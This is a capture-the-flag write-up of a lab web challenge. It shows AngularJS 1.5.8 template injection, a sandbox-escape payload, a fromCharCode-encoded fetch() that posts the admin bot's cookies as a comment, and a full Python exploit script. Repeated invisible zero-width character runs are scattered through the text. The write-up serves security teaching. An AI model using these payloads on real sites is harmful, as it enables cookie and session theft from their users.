← Back to Writeups
CUSTOMMediumWeb

Lab 202 — WikiVault — AngularJS Client-Side Template Injection (XSS)

XESXOR9/2/20265 min read
#web#custom#medium#admin_bot_exploitation#angularjs_csti_sandbox_escape#function_constructor_arbitrary#non_httponly_cookie_theft#same_origin_data_exfiltration_#string_fromcharcode_parser_byp

Lab 202 — WikiVault — AngularJS Client-Side Template Injection (XSS)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, angularjs_csti_sandbox_escape, function_constructor_arbitrary_js, non_httponly_cookie_theft, same_origin_data_exfiltration_via_comments, string_fromcharcode_parser_bypass

Summary

Walkthrough of the CUSTOM Web Lab 202 — WikiVault — AngularJS Client-Side Template Injection (XSS). Task: collaborative wiki platform with AngularJS 1.5.8 search page reflecting user input inside ng-app div without encoding curly braces; admin bot visits reported URLs. Solution: AngularJS CSTI with

Description

WikiVault is a collaborative knowledge base platform built by Lumino Software. Teams use it to create, organize, and search articles across their organization. The platform features a rich article browser with categorized navigation, full-text search, user profiles, comments, and a page reporting system for content moderation. An admin bot periodically reviews reported pages to enforce community guidelines. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Mission: Find a way to compromise the admin's session and capture the flag stored in their browser.

  • URL: https://6f742f80-ae58-4b04-ab0a-81c3b1d90b5f.labs.hackadvisor.io/
  • Credentials: user@test.com / password123

Analysis

Reconnaissance

  • Stack: Express.js/Node.js with Bulma CSS framework
  • Key pages: /articles, /search, /profile, /report
  • Authentication: POST /login with email/password, returns HttpOnly connect.sid session cookie
  • Report page: POST /report with url=... — admin bot visits the submitted URL (accepts http://localhost:8080/... format)
  • Decoy flag: Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML comments — a honeypot to trick automated scanners and LLMs
  • No CSP header. X-XSS-Protection: 1; mode=block present but irrelevant for modern browsers
  • Response headers: X-Powered-By: Express ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Discovery — AngularJS CSTI on Search Page

The search page at /search?q=QUERY has a critical combination of factors:

  1. AngularJS 1.5.8 is loaded: <script src="/vendor/js/angular.min.js"></script>
  2. The search results div has ng-app attribute: <div ng-app id="search-results">
  3. The query parameter q is reflected unescaped (for {{ }} characters) inside the ng-app div in two places:
    • Showing results for: "{{PAYLOAD}}"
    • No articles matching "{{PAYLOAD}}" were found. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The server HTML-encodes quotes (' → &#39;, " → &#34;) and angle brackets, but does NOT encode curly braces {{ }}. Since AngularJS reads DOM text content (where HTML entities are already decoded by the browser), the AngularJS expression parser sees the original unencoded characters.

Proof of concept: {{7*7}} in the search query renders as 49 in the browser — confirming Client-Side Template Injection (CSTI).

AngularJS 1.5.8 Sandbox Escape

AngularJS 1.5.8 has a sandbox that prevents direct access to window, document, and the Function constructor from expressions. The sandbox escape used was the Gareth Heyes (PortSwigger) technique combined with Ian Hickey's variant for 1.5.x: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,CODE,a');}}

This works by:

  1. Overriding String.prototype.charAt with String.prototype.trim
  2. This causes AngularJS's isIdent function to misparse identifiers in $eval
  3. The code inside $eval gets injected into the rewritten function string and executed as raw JavaScript

However, the rewritten code context limits what can be done — Angular's parser still processes identifiers inside $eval. To execute truly arbitrary JavaScript, the Function constructor was accessed via [].fill.constructor (which is Function), and String.fromCharCode() was used to build the JS code string opaquely so Angular's parser couldn't interfere: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,[].fill.constructor(String.fromCharCode(CODE_CHARS))(),a');}}

Exfiltration Challenges

Several exfiltration methods were tried and failed:

MethodResult
External webhook (webhook.site)Bot sandbox blocks outbound HTTP requests ❌
document.cookie via interaction serverInteraction server reachable, but document.cookie appeared empty (HttpOnly session cookie) ❌
Complex JS in $eval without Function() wrapperAngular's parser mangled identifiers like document, localStorage ❌
Function("code with quotes")() directlyAngular parsed the string content; needed String.fromCharCode to make it opaque ❌
new Image().src, location=, navigator.sendBeaconOnly fetch() worked in the rewritten code context ❌
POST body, .then() chains, btoa(), JSON.stringify() in $evalAngular's parser interfered ❌
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key insight: The bot sandbox blocks all outbound requests. The only way to exfiltrate data is via same-origin requests — using the application's own functionality.

Solution

Step 1: Identify Same-Origin Exfiltration Channel

The application has a comment feature on articles. Any authenticated user can POST comments to /articles/{id}/comments. Since the admin bot is authenticated and the XSS runs in the same origin, we can use fetch() to POST the admin's data as a comment on an article we can read. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Craft the JavaScript Payload

The JavaScript code to exfiltrate document.cookie via a comment:

javascript
fetch('/articles/1/comments',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'content=COOKIE:'+document.cookie})

Step 3: Encode via String.fromCharCode

Convert the JS code to character codes to bypass Angular's parser:

python
#!/usr/bin/env python3
"""WikiVault - AngularJS 1.5.8 CSTI + Sandbox Escape + Same-Origin Exfiltration"""
import requests
import urllib.parse
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BASE_URL = "https://6f742f80-ae58-4b04-ab0a-81c3b1d90b5f.labs.hackadvisor.io"

# Login
session = requests.Session()
session.post(f"{BASE_URL}/login", data={
    "email": "user@test.com",
    "password": "password123"
}, allow_redirects=False)

# JavaScript to exfiltrate document.cookie via article comment
js_code = "fetch('/articles/1/comments',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'content=COOKIE:'+document.cookie})"

# Convert to String.fromCharCode to bypass Angular's parser
char_codes = ','.join(str(ord(c)) for c in js_code)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# AngularJS 1.5.8 sandbox escape payload
# Technique: override charAt with trim to break isIdent parsing
# Then use Function constructor via [].fill.constructor to execute arbitrary JS
payload = (
    "{{a=toString().constructor.prototype;"
    "a.charAt=a.trim;"
    f"$eval('a,[].fill.constructor(String.fromCharCode({char_codes}))(),a');}}}}"
)

# Build search URL for the admin bot (localhost:8080 format)
search_url = f"http://localhost:8080/search?q={urllib.parse.quote(payload, safe='')}"

# Report URL to admin bot
resp = session.post(f"{BASE_URL}/report", data={"url": search_url})
print(f"[*] Report submitted: {resp.status_code}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Wait for bot, then check article 1 comments
import time
time.sleep(20)

resp = session.get(f"{BASE_URL}/articles/1")
print(resp.text)  # Look for COOKIE: comment from admin

Step 4: Submit to Admin Bot

The payload was URL-encoded and submitted as a search query URL via the report form:

POST /report
Content-Type: application/x-www-form-urlencoded

url=http://localhost:8080/search?q=%7B%7Ba%3DtoString()...%7D%7D

The admin bot visited the URL → AngularJS evaluated the CSTI expression → sandbox escape executed the Function() constructor with the fromCharCode-encoded JS → which POSTed document.cookie as a comment on article 1. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Retrieve the Flag

After the bot processed the report, checking article 1's comments revealed:

[Admin]: COOKIE:flag=FLAG{REDACTED}

The flag was stored in a non-HttpOnly cookie named flag in the admin's browser, separate from the HttpOnly connect.sid session cookie. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering admin_bot_exploitation, angularjs_csti_sandbox_escape, function_constructor_arbitrary_js, non_httponly_cookie_theft, same_origin_data_exfiltration_via_comments, string_fromcharcode_parser_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-08 • CUSTOM • Lab 202 — WikiVault — AngularJS Client-Side Template Injection (XSS) • Difficulty: Medium